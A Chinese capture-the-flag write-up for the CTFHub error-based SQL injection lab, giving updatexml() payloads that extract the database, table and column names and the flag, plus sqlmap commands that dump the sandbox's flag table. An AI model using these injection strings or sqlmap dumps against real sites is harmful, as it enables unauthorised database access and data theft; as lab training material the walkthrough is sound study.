CTFHUB技能树之SQL——报错注入

开启靶场,打开链接:

输入1:

没有回显出相关信息,初步判断是报错注入、时间盲注或布尔盲注


输入1':

显示出'1''和报错信息,说明没有闭合情况,是报错注入且是整数型注入


输入:

1 and updatexml(1,0x7e,3) -- a

正常显示报错信息,确定报错函数updatexml()可以使用


(1)爆数据库名

1 and updatexml(1,concat('~',database(),'~'),1) -- a

说明数据库名是sqli


(2)爆表名

1 and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema = 'sqli' ),'~'),1) -- a

得到表名是news和flag,其中flag表是我们要找的


(3)爆列名

1 and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema = 'sqli' and table_name = 'flag'),'~'),1) -- a

得到列名是flag


(4)爆字段内容(flag)

1 and updatexml(1,concat('~',(select concat(flag) from flag limit 0,1),'~'),1) -- a

得到flag:

ctfhub{d49fefe662a37b6387cad068}


接下来用sqlmap爆破一下:

python sqlmap.py -u "http://challenge-4515cbd0900d8aa9.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables


python sqlmap.py -u "http://challenge-4515cbd0900d8aa9.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --dump

一样成功得到flag

相关推荐
霖霖总总10 小时前
[Redis小技巧10]深入 Redis Stream:从原理到生产级实践
数据库·redis
QD_ANJING11 小时前
3月面大厂前端岗总结笔记(含答案)
前端·javascript·笔记·面试·职场和发展·前端框架·pdf
徐子宸11 小时前
金舟软件-AI对话工具-华为网络数通-网络通信基本概念-20260313-未完待续
安全·web安全·网络安全·安全架构·华为网络数通·金舟软件·ai对话工具
扑克中的黑桃A11 小时前
基于代价模型的连接条件下推:复杂SQL查询的性能优化实践
数据库
数据知道11 小时前
MongoDB分片集群监控:详解Balancer状态与Chunk分布分析
数据库·mongodb
三流架构师11 小时前
教资笔记资源合集
经验分享
⑩-11 小时前
Redis内存淘汰策略?如何处理大Key?
java·数据库·redis
Acczdy11 小时前
春秋云境:CVE-2025-64111
安全·网络安全
宝宝单机sop11 小时前
申论范文资源合集
经验分享
九成宫11 小时前
计算机网络期末复习——第5章:链路层 Part Two
网络·笔记·计算机网络·软件工程